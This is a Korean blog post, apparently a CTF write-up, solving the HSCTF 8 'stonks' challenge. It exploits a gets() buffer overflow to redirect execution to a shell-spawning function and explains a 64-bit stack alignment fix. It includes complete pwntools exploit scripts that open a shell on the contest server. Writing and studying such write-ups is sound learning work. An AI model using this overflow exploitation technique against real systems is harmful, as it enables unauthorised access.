HSCTF 8의 stonks 문제다. 이 문제는 대회 기간 내에 풀지 못했지만, 좋은 교훈을 얻을 수 있던 문제라서 풀이한다.
문제를 실행하면 다음과 같은 실행 화면이 나온다. 출력된 문구들을 보면 ai 주식 가격 출력 프로그램인 것 같다. 'Please enter the stock ticker symbol: '라는 문구를 통해 사용자의 입력을 받는데, 시험삼아 많은 수의 1을 입력으로 주니 segmentation fault가 터졌다. bof 취약점이 있는 것 같다.
ida를 통해 문제의 main 함수를 확인해보면 puts 함수를 통해 문구들을 출력하고 이름부터 취약한 vuln 함수를 실행해 주는 것을 알 수 있다.
vuln 함수에서 사용자의 입력을 처리하는데, 문제는 bof 취약점이 있는 gets 함수를 통해 입력 받는다. 이럴 경우 bof를 통해 ret에 접근하거나, 쉘 코드 삽입, nx가 걸려 있을 경우 rtl, rop 공격 등을 할 수 있다.
vuln 함수에서 호출하는 ai_calulate 함수는 단순히 0~20 범위의 랜덤 값을 생성해 리턴해주는 역할을 한다.
일단 쓸만한 함수가 있나 함수 목록을 살펴봤다.
ai_debug라는 함수에서 쉘을 얻게 해준다. 그렇다면 bof를 통해 ret에 접근한 후 ret를 ai_debug 함수의 주소로 변조한다면 쉘을 얻을 수 있을 것이다.
gdb를 통해 ai_debug 함수의 주소와 vuln의 ret(0x7fffffffdce8), v2(0x7fffffffdcc0)의 스택 주소를 구했다. ret와 v2의 거리는 40byte인 것을 알 수 있다. 따라서 40byte의 더미 값 + ai_debug 함수의 주소를 입력 값으로 준다면 쉘을 얻을 수 있을거라 생각했다.
from pwn import *
ai_debug_func = 0x0000000000401258
ret = 0x4012c2
p = remote('stonks.hsc.tf', 1337)
#p = process('./chal')
payload = b'A'*40 + p64(ai_debug_func)
p.sendlineafter("Please enter the stock ticker symbol: ", payload)
p.interactive()
위 코드를 짜서 시도해봤지만 통하지 않았다. 디버깅을 해봐도 'system.c no such file or directory'란 오류가 떴는데, 이유를 알 수 없어 입력 값을 인코딩하는 등의 삽질도 해보고 구글링도 해봤다. 잘못된 부분이 안보이니 ai_calculate라는 함수에서 함정이 있는게 아닌가 싶어 분석도 해봤다.
한참을 삽질한 끝에 아래 사이트를 통해 원인을 파악하고 exploit 코드를 고쳐 쉘을 얻었지만 이미 대회는 끝나있었다..ㅠ
오류의 원인은 64bit 상의 stack alignment 때문으로 stack이 16byte로 정렬되지 않아 생기는 문제였다. 이 문제는 단순히 ret 변조전 ret의 주소를 입력해주면 되는 것이었다.
from pwn import *
ai_debug_func = 0x0000000000401258
ret = 0x4012c2
p = remote('stonks.hsc.tf', 1337)
#p = process('./chal')
payload = b'A'*40 + p64(ret) + p64(ai_debug_func)
p.sendlineafter("Please enter the stock ticker symbol: ", payload)
p.interactive()
굉장히 쉬운 문제를 몇 시간동안 잡고 있었다는 사실이 자존심 상하기는 하지만, 이 statck alignment 오류를 알게 된 좋은 경험이었던 것 같다.
'CTF' 카테고리의 다른 글
[Cyberthreatforce CTF] pwn - Bof_1 (0) | 2021.07.05 |
---|---|
[HackASet 2021] iq (0) | 2021.06.27 |
[HSCTF 8] misc - seeded-randomizer (0) | 2021.06.20 |
ThcCTF 2021 - Living QR Code (0) | 2021.06.12 |
ThcCTF 2021 - SQL for dummies (0) | 2021.06.12 |